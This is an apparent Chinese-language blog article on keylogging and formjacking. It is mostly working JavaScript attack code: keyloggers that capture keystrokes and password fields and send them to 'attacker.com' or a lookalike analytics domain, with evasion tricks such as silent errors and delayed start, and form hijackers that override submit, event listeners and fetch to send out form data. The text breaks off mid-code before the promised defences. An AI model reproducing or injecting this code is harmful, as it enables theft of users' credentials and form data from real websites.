键盘记录与表单劫持:现代Web安全的隐形杀手
在当今数字化时代,网络安全已成为每个企业和个人必须面对的重要课题。随着Web应用的普及和复杂化,各种新型攻击手段层出不穷,其中键盘记录与表单劫持作为两种极具隐蔽性的攻击方式,正逐渐成为黑客们的"利器"。本文将深入探讨这两种攻击技术的原理、实现方式、危害以及防御策略,帮助开发者构建更加安全的Web应用。
键盘记录技术剖析
键盘记录(Keylogging)是一种通过监控用户键盘输入来获取敏感信息的技术。在Web安全领域,键盘记录主要分为客户端和服务器端两种实现方式。
客户端键盘记录
客户端键盘记录通常通过JavaScript实现,攻击者通过在目标网站注入恶意脚本,监听用户的键盘事件。以下是一个简单的键盘记录示例:
// 基本的键盘记录器
let loggedKeys = '';
document.addEventListener('keydown', function(event) {
// 排除功能键,只记录字符键
if (event.key.length === 1) {
loggedKeys += event.key;
// 定期将数据发送到攻击者服务器
if (loggedKeys.length >= 10) {
sendToAttacker(loggedKeys);
loggedKeys = '';
}
}
});
function sendToAttacker(data) {
// 使用Image对象发送数据,避免CSP限制
const img = new Image();
img.src = 'https://attacker.com/collect?data=' + encodeURIComponent(data);
}
这种简单的键盘记录器虽然有效,但容易被现代浏览器的安全策略检测到。更高级的攻击者会采用更加隐蔽的技术:
// 高级键盘记录器,避免检测
class StealthKeylogger {
constructor() {
this.buffer = [];
this.lastSendTime = Date.now();
this.init();
}
init() {
// 使用多种事件类型,增加隐蔽性
document.addEventListener('keydown', this.handleKey.bind(this));
document.addEventListener('keyup', this.handleKey.bind(this));
document.addEventListener('input', this.handleInput.bind(this));
// 使用MutationObserver监控DOM变化
this.setupDOMObserver();
}
handleKey(event) {
const keyData = {
type: event.type,
key: event.key,
code: event.code,
target: this.getTargetInfo(event.target),
timestamp: Date.now()
};
this.buffer.push(keyData);
this.checkBuffer();
}
handleInput(event) {
if (event.target.type === 'password') {
const inputData = {
type: 'input',
value: event.target.value,
target: this.getTargetInfo(event.target),
timestamp: Date.now()
};
this.buffer.push(inputData);
this.checkBuffer();
}
}
getTargetInfo(element) {
return {
tagName: element.tagName,
type: element.type,
id: element.id,
name: element.name,
className: element.className
};
}
checkBuffer() {
const now = Date.now();
// 每5秒或缓冲区达到20个事件时发送数据
if (now - this.lastSendTime > 5000 || this.buffer.length >= 20) {
this.sendData();
}
}
sendData() {
if (this.buffer.length === 0) return;
// 使用更隐蔽的数据发送方式
fetch('https://legitimate-looking-domain.com/api/analytics', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
userAgent: navigator.userAgent,
timestamp: Date.now(),
events: this.buffer
}),
mode: 'no-cors'
}).catch(() => {
// 静默处理错误,避免引起注意
});
this.buffer = [];
this.lastSendTime = Date.now();
}
setupDOMObserver() {
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.type === 'childList') {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === 1) { // Element node
this.reattachListeners(node);
}
});
}
});
});
observer.observe(document.body, {
childList: true,
subtree: true
});
}
reattachListeners(node) {
// 重新绑定事件监听器,确保动态加载的内容也被监控
if (node.querySelectorAll) {
node.querySelectorAll('input, textarea').forEach(element => {
element.addEventListener('keydown', this.handleKey.bind(this));
element.addEventListener('input', this.handleInput.bind(this));
});
}
}
}
// 延迟初始化,避免引起怀疑
setTimeout(() => {
new StealthKeylogger();
}, 3000);
服务器端键盘记录
服务器端键盘记录通常发生在网络传输层面,攻击者通过中间人攻击(Man-in-the-Middle)截获用户与服务器之间的通信。这种攻击更难防范,因为它在用户设备之外进行。
表单劫持技术深度解析
表单劫持(Formjacking)是一种更加直接的数据窃取技术,攻击者通过修改或替换网页中的表单,将用户提交的敏感信息重定向到自己的服务器。
基本表单劫持技术
最简单的表单劫持方式是通过修改表单的action属性:
// 简单的表单劫持
document.querySelectorAll('form').forEach(form => {
const originalAction = form.action;
const originalOnsubmit = form.onsubmit;
form.onsubmit = function(event) {
// 阻止默认提交
event.preventDefault();
// 收集表单数据
const formData = new FormData(form);
const data = Object.fromEntries(formData);
// 发送到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
}).then(() => {
// 数据窃取成功后,继续正常提交
if (originalOnsubmit) {
originalOnsubmit.call(form, event);
} else {
form.action = originalAction;
form.submit();
}
});
};
});
高级表单劫持技术
现代表单劫持技术更加隐蔽和复杂:
// 高级表单劫持类
class AdvancedFormjacker {
constructor() {
this.hijackedForms = new Map();
this.init();
}
init() {
// 监控DOM变化,捕获动态创建的表单
this.setupDOMObserver();
// 劫持已有的表单
this.hijackExistingForms();
// 劫持fetch和XMLHttpRequest API
this.hijackAPIs();
}
setupDOMObserver() {
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (mutation.type === 'childList') {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === 1) {
if (node.tagName === 'FORM') {
this.hijackForm(node);
} else if (node.querySelectorAll) {
node.querySelectorAll('form').forEach(form => {
this.hijackForm(form);
});
}
}
});
}
});
});
observer.observe(document.documentElement, {
childList: true,
subtree: true
});
}
hijackExistingForms() {
document.querySelectorAll('form').forEach(form => {
this.hijackForm(form);
});
}
hijackForm(form) {
if (this.hijackedForms.has(form)) return;
const originalSubmit = form.submit;
const originalAddEventListener = form.addEventListener;
this.hijackedForms.set(form, {
originalSubmit,
originalAddEventListener
});
// 重写submit方法
form.submit = () => {
this.interceptFormData(form);
return originalSubmit.call(form);
};
// 监控事件监听器
form.addEventListener = (type, listener, options) => {
if (type === 'submit') {
const wrappedListener = (event) => {
this.interceptFormData(form);
return listener.call(form, event);
};
return originalAddEventListener.call(form, type, wrappedListener, options);
}
return originalAddEventListener.call(form, type, listener, options);
};
}
interceptFormData(form) {
const formData = new FormData(form);
const data = {};
for (let [key, value] of formData.entries()) {
data[key] = value;
}
// 隐蔽地发送数据
this.exfiltrateData(data);
}
hijackAPIs() {
// 劫持fetch API
const originalFetch = window.fetch;
window.fetch = (...args) => {
if (args[1] && args[1].body && args[1].method &&
['POST', 'PUT'].includes(args[1].method.toUpperCase())) {
this.interceptRequest(args[0], args[1]);
}
return originalFetch.apply(this, args);
};
// 劫持XMLHttpRequest
> 评论区域 (0 条)_
发表评论